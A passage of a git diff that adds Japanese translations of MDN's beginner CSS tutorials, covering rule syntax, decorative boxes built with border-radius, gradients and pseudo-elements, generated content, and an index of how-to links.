name="CSS_syntax">CSS の構文</h2> + +<p>CSS はルールベースの言語です。ウェブページ上の特定の要素かグループに適用するスタイリングのルールを定義します。例えば、「ページ上の <code><h1></code> 要素の文字を大きく、赤くしたい」といったようにです。</p> + +<p>これを実現するコードはとても簡単な CSS ルールです:</p> + +<pre class="brush: css">h1 { + color: red; + font-size: 5em; +}</pre> + +<p>ルールは {{Glossary("CSS Selector", "セレクタ")}} から始まります。ここにはこれからスタイリングしようとする HTML 要素を選びます。この例では {{htmlelement("h1")}} を選んでいます。</p> + +<p>つぎに波カッコ <code>{ }</code> を書き、この中に<strong>プロパティ</strong>と<strong>プロパティ値</strong> のペアで作られた <strong>宣言 </strong>を 1 つ以上置きます。それぞれのペアは選んだ要素のプロパティとそれに与えたいプロパティ値を特定します。</p> + +<p>コロン <code>:</code> の前にプロパティを書き、コロンの後にプロパティ値を書きます。CSS {{Glossary("property/CSS","プロパティ")}} は特定されたプロパティによって異なる許容値を持ちます。例えば、<code>color</code> プロパティは様々な <a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units#Color">color 値</a>を持っています。<code>font-size</code> プロパティもあります。このプロパティは値として様々な <a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units#Numbers_lengths_and_percentages">size 単位</a> を持っています。</p> + +<p>CSS スタイルシートはたくさんのルールを含みます。</p> + +<pre class="brush: css">h1 { + color: red; + font-size: 5em; +} + +p { + color: black; +}</pre> + +<p>ほかにどんな値があるか調べる必要があることに気づくでしょう。 MDN のプロパティのページをつかえば、忘れた時やほかにどんな値が使えるか知りたいときにすばやく調べられます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/CSS/Reference">CSS リファレンス</a>にすべての CSS プロパティのリストがあります。CSS の機能についてもっとたくさんの情報を見つける必要があるときには、検索エンジンで "mdn <em>css-feature-name</em>" と調べることに慣れても良いでしょう。 例えば、"mdn color" や "mdn font-size" を試してみてください!</p> +</div> + +<h2 id="CSS_Modules" name="CSS_Modules">CSS モジュール</h2> + +<p>CSSを使ってスタイリングできることがたくさんあるので、CSS は <strong>モジュール</strong> にまとめられています。 MDN を探せばこれらモジュールのリファレンスが見つかるでしょうし、多くのページは特定のモジュールで編集されていることがわかります。例えば、その目的やプロパティと機能の違いを見つけるために<a href="/ja/docs/Web/CSS/CSS_Backgrounds_and_Borders">背景と境界</a> モジュールを見ることができます。（後述で） CSS 技術を定義する仕様へのリンクもあります。</p> + +<p>CSS がどのように作られているか、ここではあまり心配する必要はありませんが、もし例えば、特定のプロパティが似たものの中で見つかる可能性があることを知っていれば、情報は見つけやすくなります。</p> + +<p>たとえば、背景と境界モジュールに戻ってみましょう。<code><a href="/ja/docs/Web/CSS/background-color">background-color</a></code> と <code><a href="/ja/docs/Web/CSS/border-color">border-color</a></code> プロパティがこのモジュール内で定義されているのは理にかなっていると思うかもしれませんし、実際そうなっています。</p> + +<h3 id="CSS_Specifications" name="CSS_Specifications">CSS の仕様</h3> + +<p>(HTML, CSS, JavaScript といった) ウェブの標準技術はすべて、仕様 (または単に 「スペック」)とよばれる文書で定義されており、({{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}}, or {{glossary("Khronos")}} といった) 標準化組織によって発行され、技術がどう働くか定義しています。</p> + +<p>CSS は W3C 内の <a href="https://www.w3.org/Style/CSS/">CSS Working Group</a> と呼ばれるグループにより開発されました。このグループは、CSS に関心のあるブラウザーベンダーやその他の企業の代表者で構成されています。またメンバー組織とつながらず、独立した声として行動する <em>invited experts</em> もいます。 </p> + +<p>新しい CSS の機能は、CSS ワーキンググループにより開発され、仕様化されています。 特定のブラウザーが実験的に機能を実装させることもありますし、ウェブデザイナーやデベロッパーが要望することもありますし、ワーキンググループ自体が要件を固めることもあります。CSS は絶えず開発されており、新しい機能が利用可能になります。しかし重要なのは、古いウェブサイトが決して壊れてしまわないように、全員が努力していることです。2000年に作られたウェブサイトは限られた CSS 機能しか使えませんが、最新のブラウザーでも見えるようになっているべきなのです。</p> + +<p>CSS の初心者としては、CSS仕様が圧倒的であることに気付くでしょう。これらは、ウェブ開発者が CSS を理解するために読むのではなく、エンジニアがユーザーエージェント機能のサポートを実装するために使用するのを想定しています。経験豊富な開発者の多くは、MDN ドキュメントや他のチュートリアルを参照します。ただし、それらが存在することを知り、使っている CSS やブラウザーによるサポート（以下を参照）、および仕様間の関係を理解することは価値があります。</p> + +<h2 id="Browser_support" name="Browser_support">ブラウザーサポート</h2> + +<p>一度CSS が指定されると、1 つ以上のブラウザーが CSS を実装している場合にのみウェブページの開発に役立ちます。これはコードが CSS ファイルの命令を画面に表示できるように記述されることを意味します。これは <a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">CSS がどう働くか</a>のレッスンで見ることになるでしょう。すべてのブラウザーで同時にある機能が実装されることは通常はありませんし、それゆえ通常、一部のブラウザーでは CSS の一部を使用でき、他のブラウザーでは使用できないというギャップがあります。こういったわけで、どういった機能が実装されているか確認できることは有益です。MDN のそれぞれのページでは、関心のあるプロパティの状態が確認できるので、ウェブサイト上でそれが使えるか見極めることができます。</p> + +<p>以下は CSS の <code><a href="/ja/docs/Web/CSS/font-family">font-family</a></code> プロパティについての互換データです。</p> + +<p>{{Compat("css.properties.font-family")}}</p> + +<h2 id="Whats_next" name="What's_next">次のステップ</h2> + +<p>CSS とは何かについていくらか理解したと思いますので、<a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a> に進みましょう。ここでは自分で CSS を書き始められます。</p> + +<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/First_steps/What_is_CSS">What is CSS?</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Getting_started">Getting started with CSS</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_is_structured">How CSS is structured</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">How CSS works</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">Using your new knowledge</a></li> +</ol> diff --git a/files/ja/learn/css/howto/create_fancy_boxes/index.html b/files/ja/learn/css/howto/create_fancy_boxes/index.html new file mode 100644 index 0000000000..74d0b3b379 --- /dev/null +++ b/files/ja/learn/css/howto/create_fancy_boxes/index.html @@ -0,0 +1,305 @@ +--- +title: 装飾的なボックスの作成 +slug: Learn/CSS/Howto/create_fancy_boxes +tags: + - Beginner + - CSS + - CodingScripting + - Learn +translation_of: Learn/CSS/Howto/create_fancy_boxes +--- +<p class="summary">CSS ボックスは、CSS で装飾されたウェブページの構成要素です。 見栄えを良くすることは、楽しさとやりがいの両方です。 デザインのアイデアを実用的なコードに変えることがすべてだからです。 面倒な制約と CSS の使用における狂気の自由のために、それは挑戦的です。 いくつかの装飾的なボックスをやりましょう。</p> + +<p>実用的な側面に取り掛かる前に、<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Box_model">CSS ボックスモデル</a>に慣れていることを確認してください。 いくつかの <a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウトの基本</a>を熟知していることも賢明ですが、前提条件ではありません。</p> + +<p>技術面では、装飾的なボックスの作成は、CSS の境界線と背景のプロパティの習得と、それらを特定のボックスに適用する方法についてのものです。 しかし、テクニックを超えてそれはまたあなたの創造性を解き放つことに関するすべてです。 それは1日で終わらないでしょうし、何人かのウェブ開発者はそれを楽しんで一生を過ごします。</p> + +<p>私たちは多くの例を見ようとしていますが、可能な限り最も単純な HTML の部分、次の単純な要素に取り組むつもりです。</p> + +<pre class="brush: html"><div class="fancy">Hi! I want to be fancy.</div></pre> + +<p>はい、それは HTML のごく一部ですが、その要素について何を調整できるのでしょうか？ 次のすべてです。</p> + +<ul> + <li>そのボックスモデルのプロパティ: {{cssxref("width")}}、{{cssxref("height")}}、{{cssxref("padding")}}、{{cssxref("border")}} など</li> + <li>その背景のプロパティ: {{cssxref("background")}}、{{cssxref("background-color")}}、{{cssxref("background-image")}}、{{cssxref("background-position")}}、{{cssxref("background-size")}} など</li> + <li>その擬似要素: {{cssxref("::before")}} および {{cssxref("::after")}}</li> + <li>そして、いくつかの脇のプロパティ: {{cssxref("box-shadow")}}、{{cssxref("transform")}}、{{cssxref("outline")}} など</li> +</ul> + +<p>とても広い遊び場があります。 楽しく始めましょう。</p> + +<h2 id="Box_model_tweak" name="Box_model_tweak">ボックスモデルの調整</h2> + +<p>ボックスモデルだけで、単純な境界線の追加、四角形の作成など、基本的なことを行うことができます。 負の <code>padding</code> や負の <code>margin</code>、あるいはその両方を使用して、<code>border-radius</code> をボックスの実際のサイズよりも大きくすることによって、プロパティを限界にプッシュすると、面白くなり始めます。</p> + +<h3 id="Making_circles" name="Making_circles">円を作る</h3> + +<div class="hidden"> +<pre class="brush: html"><div class="fancy">Hi! I want to be fancy.</div></pre> +</div> + +<p>これはとてもシンプルでとても楽しいものです。 {{cssxref("border-radius")}} プロパティは、ボックスに適用される丸い角を作成するように作られていますが、半径のサイズがボックスの実際の幅と等しいかそれより大きい場合はどうなるでしょうか？</p> + +<pre class="brush: css">.fancy { + /* 円の中では、中央揃えのテキストは見栄えがよくなります。 */ + text-align : center; + + /* テキストが境界線に触れないようにしましょう。 + テキストはまだ四角形の中を流れているので、 + そのようにするときれいに見えて、 + それが「本当の」円であるという感覚を与えます。 */ + padding : 2em; + + /* 境界線は円に見えるようになります。 + 背景は境界線の半径で切り取られるので、 + 背景を使用することもできます。 */ + border : 0.5em solid black; + + /* 正方形であることを確認しましょう。 + 正方形でない場合は、円ではなく楕円です。 ;) */ + width : 5em; + height : 5em; + + /* そして正方形を円に変えましょう。 */ + border-radius: 100%; +}</pre> + +<p>はい、円ができます。</p> + +<p>{{ EmbedLiveSample('Making_circles', '100%', '170') }}</p> + +<h2 id="Backgrounds" name="Backgrounds">Backgrounds</h2> + +<p>装飾的なボックスについて話すとき、それを扱うためのコアとなるプロパティは <a href="/ja/docs/Web/CSS/CSS_Background_and_Borders">background-* プロパティ</a>です。 背景をいじり始めると、CSS ボックスはあなたが満たすための空白のキャンバスになります。</p> + +<p>いくつかの実用的な例に進む前に、背景について知っておくべきことが2つあるので、少し後退しましょう。</p> + +<ul> + <li>一つのボックスに<a href="/ja/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds">複数の背景</a>を設定することが可能です。 それらは層のように互いの上に積み重ねられています。</li> + <li>背景は単色や画像のどちらでもかまいません。 単色は常に表面全体を塗りつぶしますが、画像は拡大縮小して配置することができます。</li> +</ul> + +<div class="hidden"> +<pre class="brush: html"><div class="fancy">Hi! I want to be fancy.</div></pre> +</div> + +<p>さて、背景を楽しんでみましょう。</p> + +<pre class="brush: css">.fancy { + padding : 1em; + width: 100%; + height: 200px; + box-sizing: border-box; + + /* 背景の積み重ねの一番下を、 + 霧のかかった灰色の単色にしましょう。 */ + background-color: #E4E4D9; + + /* カラーストリップエフェクトを作成するために、 + 線形グラデーションを重ね合わせます。 + お気づきのとおり、 + 色のグラデーションは画像と見なされ、 + そのように操作することができます。 */ + background-image: linear-gradient(175deg, rgba(0,0,0,0) 95%, #8da389 95%), + linear-gradient( 85deg, rgba(0,0,0,0) 95%, #8da389 95%), + linear-gradient(175deg, rgba(0,0,0,0) 90%, #b4b07f 90%), + linear-gradient( 85deg, rgba(0,0,0,0) 92%, #b4b07f 92%), + linear-gradient(175deg, rgba(0,0,0,0) 85%, #c5a68e 85%), + linear-gradient( 85deg, rgba(0,0,0,0) 89%, #c5a68e 89%), + linear-gradient(175deg, rgba(0,0,0,0) 80%, #ba9499 80%), + linear-gradient( 85deg, rgba(0,0,0,0) 86%, #ba9499 86%), + linear-gradient(175deg, rgba(0,0,0,0) 75%, #9f8fa4 75%), + linear-gradient( 85deg, rgba(0,0,0,0) 83%, #9f8fa4 83%), + linear-gradient(175deg, rgba(0,0,0,0) 70%, #74a6ae 70%), + linear-gradient( 85deg, rgba(0,0,0,0) 80%, #74a6ae 80%); +}</pre> + +<p>{{ EmbedLiveSample('Backgrounds', '100%', '200') }}</p> + +<div class="note"> +<p>グラデーションは、非常に独創的な方法で使用できます。 あなたがクレイジーな例を見たいのなら、<a href="http://lea.verou.me/css3patterns/">Lea Verou の CSS パターン</a>（英語）を見てください。 こういったグラデーションの使用はかなり高くつきますが、パフォーマンス的に優れていることを忘れないでください。 グラデーションについてもっと知りたい場合は、気軽に<a href="/ja/docs/Web/CSS/CSS_Images/Using_CSS_gradients">専用記事</a>にアクセスしてください。</p> +</div> + +<h2 id="Pseudo_elements" name="Pseudo_elements">疑似要素</h2> + +<p>1つのボックスを装飾するときに、自分自身が制限されていることに気付き、さらに素晴らしい装飾を作成するためにもっとボックスを追加したいと思うかもしれません。 ほとんどの場合、これは独自の装飾の目的で HTML 要素を追加することによって DOM を汚染することにつながります。 たとえそれが必要であっても、それはやや悪い習慣と考えられています。 そのような落とし穴を回避するための1つの解決策は、<a href="/ja/docs/Web/CSS/Pseudo-elements">CSS 疑似要素</a>を使用することです。</p> + +<h3 id="A_cloud" name="A_cloud">雲</h3> + +<div class="hidden"> +<pre class="brush: html"><div class="fancy">Hi! I want to be fancy.</div></pre> +</div> + +<p>ボックスを雲に変える例を見てみましょう。</p> + +<pre class="brush: css">.fancy { + text-align: center; + + /* 以前に円を作るために使用したのと同じトリックです。 */ + box-sizing: border-box; + width : 150px; + height : 150px; + padding : 80px 1em 0 1em; + + /* 雲の「耳」のための場所を空けます。 */ + margin : 0 100px; + + position: relative; + + background-color: #A4C9CF; + + /* それで、私たちは雲の底を平らにしたいので、 + 実際に一周していません。 + この例を気軽に微調整して、 + 底が平らでない雲にしてください。 ;) */ + border-radius: 100% 100% 0 0; +} + +/* これらは、::before 疑似要素と ::after 疑似要素 + の両方に適用される共通のスタイルです。 */ +.fancy::before, +.fancy::after { + /* これは、たとえ値が空の文字列であっても、 + 疑似要素の表示を許可するために必要です。 */ + content: ''; + + /* 擬似要素をボックスの左右に配置しますが、 + 常に一番下に配置します。 */ + position: absolute; + bottom : 0; + + /* これにより、疑似要素は、何が起こっても + ボックスのコンテンツの下になります。 */ + z-index : -1; + + background-color: #A4C9CF; + border-radius: 100%; +} + +.fancy::before { + /* これは雲の左耳の大きさです。 */ + width : 125px; + height : 125px; + + /* 少し左に動かします。 */ + left : -80px; + + /* 雲の底が平らに保たれるようにするには、 + 左耳の正方形の右下角を作る必要があります。 */ + border-bottom-right-radius: 0; +} + +.fancy::after { + /* これは右耳の雲の大きさです。 */ + width : 100px; + height : 100px; + + /* 少し右に動かします。 */ + right : -60px; + + /* 雲の底が平らに保たれるようにするには、 + 右耳の正方形の左下角を作る必要があります。 */ + border-bottom-left-radius: 0; +}</pre> + +<p>{{ EmbedLiveSample('A_cloud', '100%', '160') }}</p> + +<h3 id="Blockquote" name="Blockquote">ブロッククォート</h3> + +<p>擬似要素を使用するより実用的な例は、HTML の {{HTMLElement('blockquote')}} 要素のための素晴らしいフォーマットを構築することです。 それでは、少し異なる HTML スニペットを使った例を見てみましょう（デザインのローカライゼーションもどのように処理するかを見る機会を提供してくれます）。</p> + +<pre class="brush: html"><blockquote>People who think they know everything are a great annoyance to those of us who do. <i>Isaac Asimov</i></blockquote> +<blockquote lang="fr">L'intelligence, c'est comme les parachutes, quand on n'en a pas, on s'écrase. <i>Pierre Desproges</i></blockquote></pre> + +<p>それで、これが装飾です。</p> + +<pre class="brush: css">blockquote { + min-height: 5em; + padding : 1em 4em; + font : 1em/150% sans-serif; + position : relative; + background-color: lightgoldenrodyellow; +} + +blockquote::before, +blockquote::after { + position: absolute; + height : 3rem; + font : 6rem/100% Georgia, "Times New Roman", Times, serif; +} + +blockquote::before { + content: '“'; + top : 0.3rem; + left : 0.9rem; +} + +blockquote::after { + content: '”'; + bottom : 0.3rem; + right : 0.8rem; +} + +blockquote:lang(fr)::before { + content: '«'; + top : -1.5rem; + left : 0.5rem; +} + +blockquote:lang(fr)::after { + content: '»'; + bottom : 2.6rem; + right : 0.5rem +} + +blockquote i { + display : block; + font-size : 0.8em; + margin-top: 1rem; + text-style: italic; + text-align: right; +}</pre> + +<p>{{ EmbedLiveSample('Blockquote', '100%', '300') }}</p> + +<h2 id="All_together_and_more" name="All_together_and_more">すべて一緒に、他</h2> + +<p>ですから、これらすべてを混ぜ合わせると素晴らしいエフェクトを生み出すことができます。 ある時点で、そのようなボックス装飾を達成することは、CSS プロパティの設計と技術的使用の両方において、創造性の問題です。 このようにすることで、この例のようにボックスを生き生きとさせることができる錯視を作成することが可能です。</p> + +<div class="hidden"> +<pre class="brush: html"><div class="fancy">Hi! I want to be fancy.</div></pre> +</div> + +<p>部分的なドロップシャドウ・エフェクトを作りましょう。 {{cssxref("box-shadow")}} プロパティを使用すると、内部光と平らなドロップシャドウ・エフェクトを作成できますが、ちょっとした追加作業で、擬似要素と {{cssxref("transform")}} プロパティを使用してより自然なジオメトリを作成することが可能になります。</p> + +<pre class="brush: css">.fancy { + position: relative; + background-color: #FFC; + padding: 2rem; + text-align: center; + max-width: 200px; +} + +.fancy::before { + content: ""; + + position : absolute; + z-index : -1; + bottom : 15px; + right : 5px; + width : 50%; + top : 80%; + max-width: 200px; + + box-shadow: 0px 13px 10px black; + transform: rotate(4deg); +}</pre> + +<p>{{ EmbedLiveSample('All_together_and_more', '100%', '100') }}</p> + +<h2 id="What's_next" name="What's_next">次は何ですか？</h2> + +<p>多くの点で、装飾的なボックスを作ることは主に背景の中に色と画像を追加することなので、<a href="/ja/docs/Learn/CSS/Howto/manage_colors_and_images">色と画像の管理</a>を掘り下げる価値があるかもしれません。 また、装飾的なボックス自体がより大きなレイアウトの一部でなければ、それ自体はまったく役に立ちません。 まだチェックしていないのであれば、<a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">レイアウトの基本</a>を見てください。</p> + +<div class="grammarly-disable-indicator"> </div> diff --git a/files/ja/learn/css/howto/generated_content/index.html b/files/ja/learn/css/howto/generated_content/index.html new file mode 100644 index 0000000000..add931f8d9 --- /dev/null +++ b/files/ja/learn/css/howto/generated_content/index.html @@ -0,0 +1,88 @@ +--- +title: Content +slug: Learn/CSS/Howto/Generated_content +tags: + - CSS + - 'CSS:Getting_Started' + - Getting_Started +translation_of: Learn/CSS/Howto/Generated_content +--- +<div>{{CSSTutorialTOC}}</div> + +<div>{{previousPage("/ja/docs/CSS/Getting_Started/Color", "Color")}} これは<span class="seoSummary"> <a href="/ja/docs/CSS/Getting_Started" title="CSS/Getting Started">CSS Getting Started</a>チュートリアルの第9章です; 文書が表示されたとき CSS を使ってコンテンツを追加するいくつかの方法について述べます。スタイルシートを編集して、テキストや画像を追加できます。</span></div> + +<h2 class="clearLeft" id="Information.3A_Content" name="Information.3A_Content">コンテンツについて</h2> + +<p>CSS の重要な利点のひとつが、文書の体裁（style）と内容（コンテンツ）を切り離しやすくすることです。それでも、あるコンテンツを文書ではなく、スタイルシートに含めたほうがわかりやすいことがあります。</p> + +<p>スタイルシートではテキストや画像から成るコンテンツを記述できます。コンテンツと文書の構造に強い関連があるとき、コンテンツをスタイルシート内に記述します。</p> + +<div class="tuto_details"> +<div class="tuto_type">さらに詳しく</div> + +<p>スタイルシートでコンテンツを記述すると、面倒な話が生まれる可能性があります。例えば、文書の複数の言語版をスタイルシートを共有して作ることがあるかもしれません。これは、スタイルシートの部分的に訳すときには、その一部を別々のファイルにわけるとともに、適切な言語版の文書とリンクされるよう編集しなければならない、ということです。</p> + +<p>この混乱は、コンテンツがすべての言語や文化で利用できる記号や画像で記述されていれば発生しません。</p> + +<p>スタイルシート内に記述されたコンテンツは、DOMの一部にはなりません。</p> +</div> + +<h3 id="Text_content" name="Text_content">テキストコンテンツ</h3> + +<p>CSS で要素の前または後ろにテキストコンテンツを挿入できます。このためには、ルールを作って {{cssxref(":before")}} または {{cssxref(":after")}} をそのセレクタに追加します。宣言部分には、specify the {{cssxref("content")}} プロパティと、その値としてテキストコンテンツを記述します。</p> + +<div class="tuto_example"> +<div class="tuto_type">例 +<h4 id="HTML">HTML</h4> + +<pre class="brush: html line-numbers language-html"><code class="language-html">A text where I need to <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>ref<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>something<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>span</span><span class="punctuation token">></span></span></code></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token"><span class="class token">.ref</span><span class="pseudo-element token">::before</span></span> <span class="punctuation token">{</span> + <span class="property token">font-weight</span><span class="punctuation token">:</span> bold<span class="punctuation token">;</span> + <span class="property token">color</span><span class="punctuation token">:</span> navy<span class="punctuation token">;</span> + <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">"Reference "</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<h4 id="結果">結果</h4> + +<p>{{ EmbedLiveSample('Text_content', 600, 30) }}<span id="cke_1_bottom"><span id="cke_1_path"><a id="cke_elementspath_7_0" title="h3 要素">h3</a></span></span></p> +</div> +</div> + +<div class="tuto_details"> +<div class="tuto_type">さらに詳しく</div> + +<p>スタイルシートの文字セットのデフォルトは UTF-8 ですが、リンク、スタイルシート自身の内部、もしくはその他の方法で指定できます。CSS Specification の <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q23">4.4 CSS style sheet representation</a> をご覧ください。</p> + +<p>文字を、バックスペースによるエスケープ機構を使って記述することもできます。例えば、\265B はチェスの黒クイーンの記号 ♛ です。詳しくは、<a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q24">Referring to characters not represented in a character encoding</a> と CSS Specification の <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#q6">Characters and case</a> をご覧ください。</p> +</div> + +<h3 id="Image_content" name="Image_content">画像コンテンツ</h3> + +<p>要素の前や後ろに画像を追加するには、{{cssxref("content")}} プロパティの値として画像ファイルの URL を記述します。</p> + +<div class="tuto_example"> +<div class="tuto_type">例</div> + +<p>このルールは <code>glossary</code> を持つすべてのリンクの後ろに、空白文字とアイコンを追加します:</p> + +<h3 id="HTML_2">HTML</h3> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>developer.mozilla.org<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>glossary<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>developer.mozilla.org<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>a</span><span class="punctuation token">></span></span></code></pre> + +<h3 id="CSS_2">CSS</h3> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">a<span class="class token">.glossary</span><span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span> + <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">" "</span> <span class="token url">url("https://mdn.mozillademos.org/files/16322/glossary-icon.gif")</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<h3 id="結果_2">結果</h3> + +<p>{{ EmbedLiveSample('Image_content', 600, 40) }}</p> +</div> + +<p>次は何?</p> + +<div>{{nextPage("/ja/docs/CSS/Getting_Started/Lists", "Lists")}} スタイルシートでコンテンツを追加し、リストの項目に印をつけることがよくあります。次の章では <a href="/ja/docs/CSS/Getting_Started/Lists" title="CSS/Getting_Started/Lists">リスト要素のスタイル記述</a> について述べます。</div> diff --git a/files/ja/learn/css/howto/index.html b/files/ja/learn/css/howto/index.html new file mode 100644 index 0000000000..2ecbac3e25 --- /dev/null +++ b/files/ja/learn/css/howto/index.html @@ -0,0 +1,90 @@ +--- +title: CSS を使ってよくある問題を解決する +slug: Learn/CSS/Howto +tags: + - Beginner + - CSS + - Learn +translation_of: Learn/CSS/Howto +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">以下のリンクは CSS で解決できるよくある問題の解決法です。</p> + +<h2 id="Common_use_cases" name="Common_use_cases">よくある使用例</h2> + +<div class="column-container"> +<div class="column-half"> +<h3 id="Basics" name="Basics">基本</h3> + +<ul> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works#Applying_CSS_to_the_DOM">CSS を HTML に適用する</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Syntax#White_space">CSS で空白を使用する</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Syntax#Comments">CSS でコメントを使用する</a></li> + <li><a href="/ja/Learn/CSS/Introduction_to_CSS/Selectors#Type_class_and_ID_selectors">要素名、クラスまたは ID で要素を選択する方法</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Selectors#Attribute_selectors">属性名と内容から要素を選択する方法</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes_and_pseudo-elements">擬似クラスの使い方</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Selectors#Pseudo-classes_and_pseudo-elements">擬似要素の使い方</a></li> + <li><a href="/ja/Learn/CSS/Introduction_to_CSS/Selectors#Selector_lists">複数のセレクタに同じルールを適用する方法</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS で色を指定する方法</a></li> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS#Inspecting_the_DOM_and_CSS">ブラウザーで CSS をデバッグする方法</a></li> +</ul> + +<h3 id="CSS_and_text" name="CSS_and_text">CSS とテキスト</h3> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">テキストを装飾する方法</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists">リスト要素をカスタマイズする方法</a></li> + <li><a href="/ja/Learn/CSS/Styling_text/Styling_links">リンクを装飾する方法</a></li> + <li><a href="/ja/Learn/CSS/Styling_text/Fundamentals#Text_drop_shadows">テキストに影を追加する方法</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="Boxes_and_layouts" name="Boxes_and_layouts">ボックスとレイアウト</h3> + +<ul> + <li><a href="/ja/Learn/CSS/Introduction_to_CSS/Box_model#Box_properties">How to size CSS boxes</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">How to control overflowing content</a></li> + <li><a href="/ja/docs/Web/CSS/background-clip">How to control the part of a CSS box that the background is drawn under</a></li> + <li><a href="/ja/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">How do I define inline, block, and inline-block?</a></li> + <li><a href="/ja/docs/Learn/CSS/Howto/create_fancy_boxes">How to create fancy boxes</a> (also see the <a href="/ja/docs/Learn/CSS/Styling_boxes">Styling boxes</a> module, generally).</li> + <li><a href="/ja/docs/Web/CSS/background-clip">How to use <code>background-clip</code> to control how much of the box your background image covers</a>.</li> + <li><a href="/ja/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">How to change the box model completely using <code>box-sizing</code></a></li> + <li><a href="/ja/Learn/CSS/Styling_boxes/Backgrounds">How to control backgrounds</a></li> + <li><a href="/ja/Learn/CSS/Styling_boxes/Borders">How to control borders</a></li> + <li><a href="/ja/Learn/CSS/Styling_boxes/Styling_tables">How to style an HTML table</a></li> + <li><a href="/ja/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows">How to add shadows to boxes</a></li> +</ul> +</div> +</div> + +<h2 id="Uncommon_and_advanced_techniques" name="Uncommon_and_advanced_techniques">まれで高度なテクニック</h2> + +<p>CSS ではとても高度なデザインテクニックも利用できます。これらの記事は、複雑な使用例を解き明かします。</p> + +<h3 id="General" name="General">一般的</h3> + +<ul> + <li><a href="/ja/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity">How to calculate specificity of a CSS selector</a></li> + <li><a href="/ja/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Controlling_inheritance">How to control inheritance in CSS</a></li> +</ul> + +<h3 id="Advanced_effects" name="Advanced_effects">高度なエフェクト</h3> + +<ul> + <li><a href="/ja/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters">CSS でフィルターを使用する方法</a></li> + <li><a href="/ja/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes">CSS でブレンドモードを使用する方法</a></li> +</ul> + +<h3 id="Layout" name="Layout">レイアウト</h3> + +<ul> + <li><a href="/ja/docs/Web/Guide/CSS/Flexible_boxes">Using CSS flexible boxes</a></li> + <li><a href="/ja/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/ja/docs/Web/Guide/CSS/Using_multi-column_layouts">Using CSS multi-column layouts</a></li> + <li><a href="/ja/docs/Web/Guide/CSS/Getting_started/Content">Using CSS generated content</a></li> +</ul> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p><a href="/ja/docs/Learn/CSS/Howto/CSS_FAQ">CSS FAQ</a> — さまざまなトピック: デバッグからセレクタの使い方まで。</p> diff --git a/files/ja/learn/css/index.html b/files/ja/learn/css/index.html new file mode 100644 index 0000000000..58897d3289 --- /dev/null +++ b/files/ja/learn/css/index.html @@ -0,0 +1,68 @@ +--- +title: CSS +slug: Learn/CSS +tags: + - Beginner + - CSS + - CodingScripting + - Debugging + - Landing + - NeedsContent + - Topic + - length + - specificity +translation_of: Learn/CSS +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Cascading Style Sheets — {{glossary("CSS")}} — 